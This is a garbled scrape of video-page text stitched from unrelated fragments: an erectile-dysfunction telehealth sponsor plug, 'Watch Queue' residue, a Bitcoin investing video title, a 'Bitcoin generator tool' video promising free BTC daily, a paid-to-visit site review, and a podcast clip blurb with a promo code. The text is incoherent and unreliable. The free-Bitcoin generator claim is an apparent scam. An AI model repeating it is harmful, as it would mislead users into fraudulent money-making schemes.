Just got a new sponsor, so for you guys out there looking to find a discreet online consultation with licensed physicians for ED, please use this link and si... This video is unavailable. Watch Queue Queue. Watch Queue Queue 🔴BITCOIN - Ecco Perchè Continuerò ad Investire in Bitcoin e Metalli Preziosi - Duration: 20:57. Andrew Bit Trading 3,193 views. 20:57. Generate Free 0.5 Btc Daily With Bitcoin generator Tool 2018,Earn 300 $ Daily Without Investment ... OBJ by OnlineBusinessJob. 6:50. PaidToVisit.net review - Visit sites earn cash every day Is this real? Is OBJ gone? This is a clip from The Pat McAfee Show live from 10am-Noon EST Mon-Fri. Use Promo Code "USA" At GetRoman.com for $10 Dollars Off ...

#